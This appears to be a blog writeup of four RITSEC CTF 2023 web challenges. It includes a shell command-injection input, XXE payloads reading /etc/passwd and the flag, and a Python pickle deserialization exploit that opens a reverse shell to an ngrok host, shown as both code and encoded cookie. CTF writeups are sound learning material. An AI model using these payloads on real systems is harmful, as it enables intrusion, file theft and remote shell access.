f1rst_
Overview
RITSEC CTF 2023 Writeup

RITSEC CTF 2023 Writeup

3 min read

RITSEC CTF 2023 ran from 23:00 on 31/03/2023 to 23:00 on 02/04/2023. I started playing around 19:00 on 02/04, so I only had time to do 3 challenges: Echoes, Rick Roll and X-Men Lore. Pickle Store I only just managed to solve it! The challenge source code and the organizers’ own writeups can be found here.

Echoes

Do you hear that?

Visiting the site, we see a form where you enter a word and the web app echoes it back.

It’s easy to guess that behind this web app the server runs a command like echo test . Let’s try executing an extra ls command by entering.

Terminal window
| ls .

I tried other commands like | ls./ and | ls ./, and neither worked, probably because the server filters them @@

Now we just need to enter | cat flag.txt to get the flag

Flag:

Terminal window
RS{R3S0UND1NG_SUCS3SS!}

Rick Roll

I mean, do I need to say more?

This challenge just requires finding the pieces of the flag scattered all over the source code. Flag:

Terminal window
RS{/\/eveRG0nna_G1v3y0uuP_|3tY0|_|d0vvn_TuRna30unD_D3s3RTy0u}

X-Men Lore

The 90’s X-Men Animated Series is better than the movies. Change my mind.

The page has buttons that, when clicked, take us to /xmen and also set the value of the cookie according to each button.

Decoding one cookie from base64, we see

The XML is very clear -> this could be XXE. Let’s try reading the file /etc/passwd with this payload:

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><input><xmen>&test;</xmen></input>

Encode it back to base64 and change the cookie value

So it really is XXE. Based on the hint that the flag has no file extension, the following payload let me read the flag:

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag'>]><input><xmen>&test;</xmen></input>

Flag:

Terminal window
RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}

Pickle Store

New pickles just dropped! Check out the store

Similar to the xmen challenge, the buttons also take us to /order and set the value of the cookie. But this time the cookie isn’t plain base64 anymore. The challenge name is Pickle -> maybe it was serialized by Python’s pickle module. Let’s try deserializing a cookie from the “Sweet Pickle” button:

import base64
import pickle
# Decode base64
encoded_str = "gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="
decoded_str = base64.b64decode(encoded_str)
# Deserialize
obj = pickle.loads(decoded_str)
print(obj)
Terminal window
sweetpickle

-> It really was serialized with pickle

Googling around, I learned that this module has an RCE vulnerability when deserializing

-> we can serialize some malicious payload so that when the server deserializes it, it executes the code we want.

Googling further, I found quite a few articles about Python Pickle RCE, and here there’s a writeup on using this vulnerability to create a reverse shell

import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('<payloadhere>')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

Now the job is to create a payload to put in the cmd part, along with setting up a tcp server so we can connect back. I set up localhost listening on port 1221 and used ngrok to tunnel localhost to the internet:

A reverse shell payload can be found at revshells.com. I chose to create the reverse shell with python because we already know the server uses python as its backend. Bash might work in this case too.

import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = (''' python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",13073));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' ''')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
Terminal window
b'gASVrgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJMgcHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC50Y3AuYXAubmdyb2suaW8iLDEzMDczKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIpJyCUhZRSlC4='

Update the cookie and send the request:

Right after sending it, my machine received a connection:

Now I just need to find and read the flag and I’m done!

Flag:

Terminal window
RS{TH3_L345T_53CUR3_P1CKL3}